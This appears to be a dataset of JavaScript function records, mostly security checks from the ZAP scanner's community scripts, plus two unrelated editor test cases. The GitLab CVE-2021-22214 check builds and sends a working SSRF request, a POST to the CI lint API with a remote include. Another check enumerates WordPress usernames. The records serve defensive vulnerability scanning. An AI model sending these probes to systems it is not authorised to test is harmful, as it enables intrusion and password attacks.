function customAlert( alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, alertSol, alertReference, cweId, wascId, msg, url ) { var extensionAlert = control .getExtensionLoader() .getExtension(ExtensionAlert.NAME); var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg); var alert = new org.parosproxy.paros.core.scanner.Alert( -1, alertRisk, alertConfidence, alertName ); alert.setDescription(alertDesc); alert.setAttack(alertAttack); alert.setEvidence(alertEvidence); alert.setSolution(alertSol); alert.setReference(alertReference); alert.setCweId(cweId); alert.setWascId(wascId); alert.setMessage(msg); alert.setUri(url); extensionAlert.alertFound(alert, ref); }
Raise an alert. @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
customAlert ( alertRisk , alertConfidence , alertName , alertDesc , alertAttack , alertEvidence , alertSol , alertReference , cweId , wascId , msg , url )
javascript
zaproxy/community-scripts
targeted/cve-2021-41773-apache-path-trav.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/cve-2021-41773-apache-path-trav.js
Apache-2.0
function invokeWith(msg) { var url = msg.getRequestHeader().getURI().toString(); // To check if script is running logger("Testing script against URL - " + url); // Regex to detect DMARC / SPF records var spfRegex = /^v=spf1.*/g; var dmarcRegex = /^v=DMARC1.*/g; testForPolicy(msg, "SPF", spfRegex, url); testForPolicy(msg, "DMARC", dmarcRegex, url); logger("Script run completed successfully."); }
Check for SPF / DMARC policies on a website. A function which will be invoked against a specific "targeted" message. @param msg - the HTTP message being acted upon. This is an HttpMessage object.
invokeWith ( msg )
javascript
zaproxy/community-scripts
targeted/dns-email-spoofing.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/dns-email-spoofing.js
Apache-2.0
function testForPolicy(msg, policy, policyRegex, url) { var newReq = msg.cloneRequest(); // Fetch TXT DNS records for root domain var fetchedTxtRecords = fetchRecords(newReq, policy); logger("Checking for presence of " + policy + " records."); checkIfPolicy(fetchedTxtRecords, policyRegex, policy, url, newReq); }
Function that tests if a policy has been configured @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned @param {String} policy - The policy name @param {RegExp} policyRegex - The regex expression for detecting the policy @param {String} url - The URL against which script has been invoked
testForPolicy ( msg , policy , policyRegex , url )
javascript
zaproxy/community-scripts
targeted/dns-email-spoofing.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/dns-email-spoofing.js
Apache-2.0
function checkIfPolicy(txtRecords, policyRegex, policyName, url, msg) { var cweId = 290; var wascId = 12; // All TXT records are under the "Answer" key in the response object var foundPolicy = checkForPolicy(txtRecords["Answer"], policyRegex); if (foundPolicy !== true) { var alertName = policyName + " Records not configured"; var alertSol = policyName + " Records should be configured properly on domain to prevent email spoofing. "; var alertDesc = "Phishing and email spam are the biggest opportunities for hackers to enter the network. " + "If a single user clicks on some malicious email attachment, it can compromise an entire enterprise with ransomware, " + "cryptojacking scripts, data leakages or privilege escalation exploits. This can be prevented with the help of " + policyName + " records."; raiseAlert( pluginid, 2, // risk: 0: info, 1: low, 2: medium, 3: high 3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed alertName, alertDesc, alertSol, cweId, wascId, msg, url ); } }
Checks if a specific DNS TXT record policy exists or not, Raises an alert if the policy is not present @param {Object.object} txtRecords - The fetched DNS Records response @param {RegExp} policyRegex - The regex expression for detecting the policy @param {String} policyName - The policy name @param {String} metaData - The extra meta data that will be sent in otherInfo field @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned
checkIfPolicy ( txtRecords , policyRegex , policyName , url , msg )
javascript
zaproxy/community-scripts
targeted/dns-email-spoofing.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/dns-email-spoofing.js
Apache-2.0
function fetchRecords(msg, policy) { var domain = msg.getRequestHeader().getURI().getHost(); if (domain.startsWith("www")) { domain = domain.replace("www.", ""); } if (policy === "DMARC") { domain = "_dmarc." + domain; } var path = "/resolve?name=" + domain + "&type=TXT"; var targetUri = "https://" + providerAddress + path; var requestUri = new URI(targetUri, false); msg.getRequestHeader().setURI(requestUri); logger("Fetching TXT records for domain - " + domain); var sender = new HttpSender(HttpSender.MANUAL_REQUEST_INITIATOR); sender.sendAndReceive(msg); // Debugging // logger("Request Header -> " + msg.getRequestHeader().toString()) // logger("Request Body -> " + msg.getRequestBody().toString()) // logger("Response Header -> " + msg.getResponseHeader().toString()) // logger("Response Body -> " + msg.getResponseBody().toString()) var fetchedTxtRecords = JSON.parse(msg.getResponseBody().toString()); return fetchedTxtRecords; }
Function to fetch DNS TXT records over DoH @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned @param {String} policy - The policy name to fetch records for. @return {Object.object} - The fetched records.
fetchRecords ( msg , policy )
javascript
zaproxy/community-scripts
targeted/dns-email-spoofing.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/dns-email-spoofing.js
Apache-2.0
function checkForPolicy(txtRecords, policyRegex) { if (txtRecords === undefined) { logger("No TXT records found for the domain."); return false; } for (var txtRecord in txtRecords) { if (policyRegex.test(txtRecords[txtRecord]["data"])) { return true; } } return false; }
Function to check for a policy in TXT records @param {Object.object} txtRecords - The fetched DNS Records response to test regex against @param {RegExp} policyRegex - The regex expression for detecting the policy @returns {boolean} - Return true if found record
checkForPolicy ( txtRecords , policyRegex )
javascript
zaproxy/community-scripts
targeted/dns-email-spoofing.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/dns-email-spoofing.js
Apache-2.0
function invokeWith(msg) { var url = msg.getRequestHeader().getURI().toString(); var alertName = "Unauthorised SSRF on GitLab"; var alertDesc = "[CVE-2021-22214]\nServer-side request forgery (SSRF) vulnerabilities let an attacker send crafted requests from " + "the back-end server of a vulnerable web application.\n" + "A server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an " + "unauthenticated attacker even on a GitLab instance where registration is limited.\n" + "By exploiting a Server Side Request Forgery vulnerability, attackers may be able to scan the local or external networks to which the " + "vulnerable server is connected to."; var alertSol = "Upgrade to the latest version of GitLab."; var alertReference = "https://nvd.nist.gov/vuln/detail/CVE-2021-22214"; var cweId = 918; // Server-Side Request Forgery (SSRF) var wascId = 15; // Application Misconfiguration // To check if script is running logger("Testing Script against URL - " + url); var exploitResponse = sendReq(msg); var status = exploitResponse.getResponseHeader().getStatusCode(); var rebody = exploitResponse.getResponseBody().toString(); // The Content-Type Header // It would ALWAYS be in JSON for the GitLab Exploit var ctype = exploitResponse.getResponseHeader().getHeader("Content-Type"); // Checks to make sure that the response is by a GitLab Instance // on the server // A unique term in the demo YAML file which will be present in // the response body when the lint check succeeds if ( status === 200 && ctype === "application/json" && rebody.contains("CI_PIPELINE_SOURCE") ) { var alertAttack = exploitResponse.getRequestBody().toString(); var alertEvidence = "CI_PIPELINE_SOURCE"; var otherInfo = "Presence of a unique term, [CI_PIPELINE_SOURCE] was detected in the response, which is part of the payload."; customAlert( pluginid, 3, // risk: 0: info, 1: low, 2: medium, 3: high 3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed alertName, alertDesc, alertAttack, alertEvidence, otherInfo, alertSol, alertReference, cweId, wascId, msg, url ); } logger("Script run completed."); }
Unauthenticated GitLab SSRF - CI Lint API - CVE-2021-22214 A function which will be invoked against a specific "targeted" message. @param msg - the HTTP message being acted upon. This is an HttpMessage object.
invokeWith ( msg )
javascript
zaproxy/community-scripts
targeted/cve-2021-22214.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/cve-2021-22214.js
Apache-2.0
function sendReq(msg) { var newReq = generateRequest(msg); var sender = new HttpSender(HttpSender.MANUAL_REQUEST_INITIATOR); sender.sendAndReceive(newReq); // Debugging // logger("Request Header -> " + newReq.getRequestHeader().toString()) // logger("Request Body -> " + newReq.getRequestBody().toString()) // logger("Response Header -> " + newReq.getResponseHeader().toString()) // logger("Raw Response Body -> " + newReq.getResponseBody().toString()) return newReq; }
Send a custom HTTP Request by manipulating the HttpMessage Object. @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned @return {Object.<HttpMessage>} - The HTTP Response
sendReq ( msg )
javascript
zaproxy/community-scripts
targeted/cve-2021-22214.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/cve-2021-22214.js
Apache-2.0
function generateRequest(msg) { // The JSON Body Payload var obj = { include_merged_yaml: true, content: "include:\n remote: https://raw.githubusercontent.com/zaproxy/community-scripts/main/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml", }; var newReq = msg.cloneRequest(); newReq.getRequestHeader().setMethod("POST"); // The URL should be {{BaseURL}}/api/v4/ci/lint newReq.getRequestHeader().getURI().setPath("/api/v4/ci/lint"); newReq.setRequestBody(JSON.stringify(obj)); newReq .getRequestHeader() .setHeader(HttpHeader.CONTENT_TYPE, "application/json"); newReq.getRequestHeader().setContentLength(newReq.getRequestBody().length()); return newReq; }
@param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned @returns {Object.<HttpMessage>} - The HttpMessage with modified Request Header
generateRequest ( msg )
javascript
zaproxy/community-scripts
targeted/cve-2021-22214.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/cve-2021-22214.js
Apache-2.0
function invokeWith(msg) { var url = msg.getRequestHeader().getURI().toString(); var alertName = "WordPress Username Enumeration"; var alertDesc = "The username for user login has been exposed through author archives. This can allow for bruteforcing the password for the respective username and gain access to the admin dashboard."; var alertSol = "Make sure that URLs with query parameter " + url + "/?author={integer} and " + url + "/wp-json/wp/v2/users are not accessible publicly."; var alertReference = "https://www.getastra.com/blog/cms/wordpress-security/stop-user-enumeration/"; var cweId = 203; // Observable Discrepancy var wascId = 13; // Information Leakage // To check if script is running logger("Testing the following URL -> " + url); // Call function to check enumeration using /wp-json/wp/v2/users endpoint var jsonAuthors = archiveJson(msg); // Call function to check enumeration using /?author={i} endpoint var archiveAuthors = userEnumerate(msg); // If any username(s) found if (jsonAuthors.length) { logger("Vulnerable to user enumeration."); var alertEvidence1 = "Found author(s) -> " + jsonAuthors.join(", "); // Raise alert raiseAlert( pluginid, 3, // risk: 0: info, 1: low, 2: medium, 3: high 3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed alertName, alertDesc, alertEvidence1, alertSol, alertReference, cweId, wascId, msg, url + "/wp-json/wp/v2/users" ); } if (archiveAuthors.length) { logger("Vulnerable to user enumeration."); var alertEvidence = "Found author(s) -> "; for (var i in archiveAuthors) { alertEvidence += archiveAuthors[i].username + ", "; } url = url + "/?author=" + archiveAuthors[0].iterator; // Raise alert raiseAlert( pluginid, 3, // risk: 0: info, 1: low, 2: medium, 3: high 2, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed alertName, alertDesc, alertEvidence, alertSol, alertReference, cweId, wascId, msg, url ); } logger("Script run completed."); }
Check for user enumeration on WordPress through author archives. A function which will be invoked against a specific "targeted" message. @param msg - the HTTP message being acted upon. This is an HttpMessage object.
invokeWith ( msg )
javascript
zaproxy/community-scripts
targeted/WordPress User Enumeration.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/WordPress User Enumeration.js
Apache-2.0
it('should wrap the P element in a BLOCKQUOTE element', function () { if (browserName === 'chrome') { return; } return scribeNode.getInnerHTML().then(function (innerHTML) { // Chrome: '<blockquote><p>1</p></blockquote><p></p>'' expect(innerHTML).to.have.html('<blockquote><p>1</p></blockquote>'); }); });
FIXME: Fails in Chrome. Bogus P element?
(anonymous) ( )
javascript
guardian/scribe
test-old/commands.spec.js
https://github.com/guardian/scribe/blob/master/test-old/commands.spec.js
Apache-2.0
it.skip('should convert the "\\"" character to the corresponding HTML entity', function () { return scribeNode.getInnerHTML().then(function (innerHTML) { expect(innerHTML).to.have.html('<p>&quot;</p>'); }); });
FIXME: Fails because `element.insertHTML = '<p>&quot;</p>'` unescapes the HTML entity (for double and single quotes). This can be fixed by replacing these tests with unit tests.
(anonymous) ( )
javascript
guardian/scribe
test-old/formatters.spec.js
https://github.com/guardian/scribe/blob/master/test-old/formatters.spec.js
Apache-2.0